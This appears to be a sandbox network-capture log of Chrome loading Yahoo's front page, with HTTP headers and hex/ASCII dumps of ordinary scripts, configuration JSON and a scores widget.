2024-01-10 23:27:12 UTC	83	IN	Data Raw: 4d 61 70 20 65 6e 61 62 6c 65 47 41 4d 41 64 73 20 65 6e 61 62 6c 65 47 41 4d 41 64 73 4f 6e 4c 6f 61 64 20 65 6e 61 62 6c 65 46 69 6e 61 6e 63 65 50 72 65 6d 69 75 6d 54 69 63 6b 65 72 20 65 6e 61 62 6c 65 41 64 4c 69 74 65 55 70 53 65 6c 6c 46 65 Data Ascii: Map enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFe
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 64 62 61 63 6b 5c 22 20 64 61 74 61 2d 61 73 73 65 74 73 3d 5b 5d 20 64 61 74 61 2d 64 65 76 69 63 65 3d 64 65 73 6b 74 6f 70 20 64 61 74 61 2d 69 31 38 6e 3d 27 7b 5c 22 7b 64 61 74 65 7d 20 61 74 20 7b 74 69 6d 65 7d 5c 22 3a 5c 22 7b 64 61 74 65 7d 20 61 74 20 7b 74 69 6d 65 7d 5c 22 2c 5c 22 7b 30 7d 20 68 72 20 61 67 6f 5c 22 3a 5c 22 7b 30 7d 20 68 72 20 61 67 6f 5c 22 2c 5c 22 7b 30 7d 20 6d 69 6e 20 61 67 6f 5c 22 3a 5c 22 7b 30 7d 20 6d 69 6e 20 61 67 6f 5c 22 2c 5c 22 7b 30 7d 20 56 69 65 77 73 5c 22 3a 5c 22 7b 30 7d 20 56 69 65 77 73 5c 22 2c 5c 22 49 4e 4c 49 4e 45 5f 43 4f 4e 53 45 4e 54 5f 42 4c 4f 43 4b 45 44 5f 33 50 5f 42 55 54 54 4f 4e 5f 41 4c 4c 4f 57 5c 22 3a 5c 22 41 6c 6c 6f 77 5c 22 2c 5c 22 4c 45 53 53 5c 22 3a 5c 22 4c 65 73 Data Ascii: edback\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Les
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 2c 5c 22 65 6e 61 62 6c 65 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 54 41 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 58 72 61 79 49 6e 6c 69 6e 65 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 58 72 61 79 4d 6f 76 69 65 45 6e 74 69 74 69 65 73 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 58 72 61 79 4e 63 70 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 58 72 61 79 50 65 6f 70 6c 65 45 6e 74 69 74 69 65 73 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 58 72 61 79 54 6f 70 69 63 45 6e 74 69 74 69 65 73 5c 22 3a 74 72 75 65 2c 5c 22 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 49 6e 53 68 61 72 65 53 65 63 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 Data Ascii: ,\"enableViewCommentsCTA\":true,\"enableXrayInline\":true,\"enableXrayMovieEntities\":true,\"enableXrayNcp\":true,\"enableXrayPeopleEntities\":true,\"enableXrayTopicEntities\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableG
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 6f 38 6e 31 79 64 5f 69 67 6a 56 6d 54 39 42 51 33 32 4c 37 58 67 2d 2d 2f 59 58 42 77 61 57 51 39 61 47 6c 6e 61 47 78 68 62 6d 52 6c 63 6a 74 33 50 54 55 79 4f 32 67 39 4e 6a 41 2d 2f 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 73 2f 63 72 65 61 74 72 2d 75 70 6c 6f 61 64 65 64 2d 69 6d 61 67 65 73 2f 32 30 32 30 2d 31 32 2f 39 62 32 66 30 66 39 30 2d 33 35 35 66 2d 31 31 65 62 2d 62 65 66 33 2d 61 66 64 31 63 36 30 38 32 35 33 66 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 6c 6f 67 6f 2d 64 69 76 69 64 65 72 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 3e 41 73 Data Ascii: ttps://s.yimg.com/ny/api/res/1.2/o8n1yd_igjVmT9BQ32L7Xg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTUyO2g9NjA-/https://s.yimg.com/os/creatr-uploaded-images/2020-12/9b2f0f90-355f-11eb-bef3-afd1c608253f><span class=caas-logo-divider></span><span class=caas-attr-provider>As

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49879	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	544	OUT	GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	826	IN	HTTP/1.1 200 OK x-amz-id-2: RCjmFJiBHxopDZchJxAjU6X+6+1nHziZDvogtRX5bcqrnsak/yrs+RYF1t+6izy+l0W5eZdgraQ= x-amz-request-id: 9R4AZ73472QCGFJX Date: Wed, 10 Jan 2024 23:26:25 GMT Last-Modified: Sun, 26 Jun 2022 23:02:47 GMT ETag: "69d9917872ff1011bcb87d5044f6e12d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: LeRXhTI8jsXZi5VD27HcACcazjCdOxvi Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 7977 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 48 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-geolocation",[],t):"object"==typeof exports?exports["wafer-geolocation"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafe
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 Data Ascii: "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot c
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 74 68 43 61 63 68 65 2c 76 3d 70 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 77 3d 5b 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 5d 2c 6d 3d 22 75 73 65 72 2e 63 75 72 72 65 6e 74 50 72 65 63 69 73 65 4c 6f 63 61 74 69 6f 6e 22 2c 62 3d 5b 22 22 5d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 6f 2e 73 65 6c 65 63 74 6f 72 3b 72 28 74 68 69 73 2c 74 29 3b 76 61 72 20 69 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 Data Ascii: ithCache,v=p.ATTR_PREFIX,w=["handleClick"],m="user.currentPreciseLocation",b=[""],_=function(e){function t(e){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=o.selector;r(this,t);var i=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 70 72 6f 67 72 65 73 73 22 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 69 66 28 30 3d 3d 3d 65 2e 5f 73 74 61 74 65 2e 66 65 74 63 68 53 74 61 74 75 73 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 45 72 72 6f 72 28 22 66 65 74 63 68 20 69 6e 20 70 72 6f 67 72 65 73 73 22 29 29 3b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 2e 5f 73 74 61 74 65 2e 66 65 74 63 68 53 74 61 74 75 73 3d 30 2c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 2e 67 65 74 43 75 72 72 65 6e 74 50 6f 73 69 74 69 6f 6e 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3d 72 2e 63 6f 6f 72 64 73 2c 61 3d 6e 2e 6c 61 74 69 74 75 64 65 2c 69 3d 6e 2e 6c 6f 6e 67 Data Ascii: progress"),new Promise(function(t,n){if(0===e._state.fetchStatus)return n(new Error("fetch in progress"));window.navigator.geolocation?(e._state.fetchStatus=0,window.navigator.geolocation.getCurrentPosition(function(r){var n=r.coords,a=n.latitude,i=n.long
2024-01-10 23:27:12 UTC	866	IN	Data Raw: 5d 29 2c 74 7d 28 68 29 3b 5f 2e 65 76 65 6e 74 73 3d 7b 63 6c 69 63 6b 3a 5b 5b 22 68 61 73 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 63 6c 69 63 6b 22 2c 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 5d 5d 7d 3b 76 61 72 20 6b 3d 5f 2c 4f 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 65 5b 72 5d 3d 6f 5b 72 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 Data Ascii: ]),t}(h);_.events={click:[["has-geolocation-click","handleClick"]]};var k=_,O=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&&(e[r]=o[r])}return e},j=function(){fu
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 72 6e 20 6c 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 3d 4c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 2e 76 61 6c 69 64 61 74 65 28 29 7d 2c 63 2c 6c 29 2c 6c 2e 5f 73 74 61 74 65 3d 4f 28 7b 7d 2c 6c 2e 5f 73 74 61 74 65 2c 7b 70 65 72 6d 69 73 73 69 6f 6e 53 74 61 74 75 73 3a 22 70 72 6f 6d 70 74 22 7d 29 2c 6c 2e 73 79 6e 63 28 29 2c 6c 2e 63 68 65 63 6b 50 65 72 6d 69 73 73 69 6f 6e 73 28 29 2c 6c 7d 72 65 74 75 72 6e 20 63 28 74 2c 65 29 2c 6a 28 74 2c 5b 7b 6b 65 79 3a 22 63 68 65 63 6b 50 65 72 6d 69 73 73 69 6f 6e 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 65 72 6d 69 73 73 69 6f 6e 73 29 74 72 79 7b 77 69 6e 64 6f Data Ascii: rn l._validateWithThrottle=L(function(){l.validate()},c,l),l._state=O({},l._state,{permissionStatus:"prompt"}),l.sync(),l.checkPermissions(),l}return c(t,e),j(t,[{key:"checkPermissions",value:function(){var e=this;if(window.navigator.permissions)try{windo
2024-01-10 23:27:12 UTC	611	IN	Data Raw: 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 64 69 64 53 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 74 3d 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 6f 3d 65 2e 6d 6f 75 6e 74 65 64 3b 30 3d 3d 3d 74 2e 73 69 7a 65 7c 7c 6f 7c 7c 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 6e 74 65 64 3d 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 77 69 6c 6c 56 61 6c 69 64 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 64 65 6e 69 65 64 22 21 3d 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e Data Ascii: ey:"handleResize",value:function(){this._validateWithThrottle()}},{key:"didSync",value:function(){var e=this._state,t=e.elementInstances,o=e.mounted;0===t.size\|\|o\|\|(this._state.mounted=!0)}},{key:"willValidate",value:function(e){if("denied"!==this._state.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49882	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	959	OUT	GET /fp_ms/_rcv/remote?ctrl=ScoresRefresh&lang=en-US&m_id=react-wafer-scores&m_mode=json&region=US&rid=0gast8pipu9uc&site=fp&apptype=default&instance_id=scores&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
2024-01-10 23:27:12 UTC	537	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-instance-id: scores x-applet-id: react-wafer-scores vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:12 GMT x-envoy-upstream-service-time: 30 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0
2024-01-10 23:27:12 UTC	990	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 33 33 31 36 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 63 6f 72 65 73 2e 53 63 6f 72 65 73 52 65 66 72 65 73 68 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 65 64 39 30 64 31 33 63 61 36 39 66 32 38 38 30 62 64 32 62 66 66 35 64 32 38 37 39 66 33 31 61 2e 6d 69 6e 2e 63 73 Data Ascii: 3316{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.cs
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 74 65 3f 63 72 75 6d 62 3d 7a 66 53 4e 38 32 5a 41 62 65 44 26 61 6d 70 3b 63 74 72 6c 3d 53 63 6f 72 65 73 52 65 66 72 65 73 68 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 2d 55 53 26 61 6d 70 3b 6d 5f 69 64 3d 72 65 61 63 74 2d 77 61 66 65 72 2d 73 63 6f 72 65 73 26 61 6d 70 3b 6d 5f 6d 6f 64 65 3d 6a 73 6f 6e 26 61 6d 70 3b 72 65 67 69 6f 6e 3d 55 53 26 61 6d 70 3b 73 69 74 65 3d 66 70 26 61 6d 70 3b 74 7a 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 5c 22 20 61 75 74 6f 43 6f 6d 70 6c 65 74 65 3d 5c 22 6f 66 66 5c 22 20 63 6c 61 73 73 3d 5c 22 77 61 66 65 72 2d 66 6f 72 6d 20 44 28 69 62 29 20 50 6f 73 28 72 29 20 50 73 74 61 72 74 28 34 70 78 29 20 46 6c 28 65 6e 64 29 20 4f 28 6e 29 3a 66 20 4d 62 28 30 29 5c 22 20 64 61 74 61 2d 74 65 73 74 2d Data Ascii: te?crumb=zfSN82ZAbeD&ctrl=ScoresRefresh&lang=en-US&m_id=react-wafer-scores&m_mode=json&region=US&site=fp&tz=America%2FNew_York\" autoComplete=\"off\" class=\"wafer-form D(ib) Pos(r) Pstart(4px) Fl(end) O(n):f Mb(0)\" data-test-
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 66 6f 72 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 5c 22 20 63 6c 61 73 73 3d 5c 22 48 69 64 64 65 6e 5c 22 3e 43 68 61 6e 67 65 20 53 70 6f 72 74 73 20 74 6f 20 64 69 73 70 6c 61 79 20 64 69 66 66 65 72 65 6e 74 20 73 63 6f 72 65 73 3c 2f 6c 61 62 65 6c 3e 3c 73 65 6c 65 63 74 20 69 64 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 5c 22 20 6e 61 6d 65 3d 5c 22 63 6f 6e 66 69 67 2e 6c 65 61 67 75 65 49 64 5c 22 20 63 6c 61 73 73 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 20 42 67 63 28 2d 2d 77 68 69 74 65 29 20 42 64 28 30 29 20 4f 28 6e 29 3a 66 20 54 61 6c 28 65 6e 64 29 20 54 61 28 65 6e 64 29 20 50 65 6e 64 28 32 70 78 29 20 4d 74 28 34 70 78 29 20 46 7a 28 31 32 70 78 29 20 43 75 72 28 70 29 20 43 28 2d 2d 6d 69 64 6e 69 67 68 74 29 20 Data Ascii: for=\"league-select\" class=\"Hidden\">Change Sports to display different scores</label><select id=\"league-select\" name=\"config.leagueId\" class=\"league-select Bgc(--white) Bd(0) O(n):f Tal(end) Ta(end) Pend(2px) Mt(4px) Fz(12px) Cur(p) C(--midnight)
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 74 63 68 20 72 61 70 69 64 6e 6f 66 6f 6c 6c 6f 77 20 50 28 30 29 20 4d 65 6e 64 28 38 70 78 29 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 63 61 74 3a 74 72 65 6e 64 69 6e 67 3b 65 6c 6d 3a 70 65 72 69 6f 64 3b 69 74 63 3a 31 3b 3b 73 6c 6b 3a 59 65 73 74 65 72 64 61 79 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 6f 6e 66 69 67 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 67 61 6d 65 73 4f 6e 6c 79 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 6d 61 78 47 61 6d 65 73 26 71 75 6f 74 3b 3a 33 2c 26 71 75 6f 74 3b 74 72 65 6e 64 69 6e 67 57 69 74 68 4d 79 54 65 61 6d 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 78 68 72 50 61 74 68 50 72 65 66 69 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 2f 5f Data Ascii: tch rapidnofollow P(0) Mend(8px)\" data-ylk=\"cat:trending;elm:period;itc:1;;slk:Yesterday\" data-wf-body=\"{"config":{"gamesOnly":1,"maxGames":3,"trendingWithMyTeamsEnabled":false,"xhrPathPrefix":"/_
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3e 59 65 73 74 65 72 64 61 79 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 42 64 28 6e 29 20 42 67 63 28 74 29 20 43 28 2d 2d 64 6f 6c 70 68 69 6e 29 20 44 28 69 62 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 32 70 78 29 20 4d 62 28 30 29 20 4f 28 6e 29 3a 66 20 56 61 28 62 29 20 54 61 28 63 29 20 74 61 62 20 77 61 66 65 72 2d 66 65 74 63 68 20 72 61 70 69 64 6e 6f 66 6f 6c 6c 6f 77 20 50 28 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 20 4d 65 6e 64 28 38 70 78 29 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 63 61 74 3a 74 72 65 6e 64 69 6e 67 3b 65 6c 6d 3a 70 65 72 69 6f 64 3b 69 74 63 3a 31 3b 3b 73 6c 6b 3a 54 6f 64 61 79 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f Data Ascii: >Yesterday</span></button><button class=\"Bd(n) Bgc(t) C(--dolphin) D(ib) Fw(600) Fz(12px) Mb(0) O(n):f Va(b) Ta(c) tab wafer-fetch rapidnofollow P(0) active-scores-tab Mend(8px)\" data-ylk=\"cat:trending;elm:period;itc:1;;slk:Today\" data-wf-body=\"{&quo
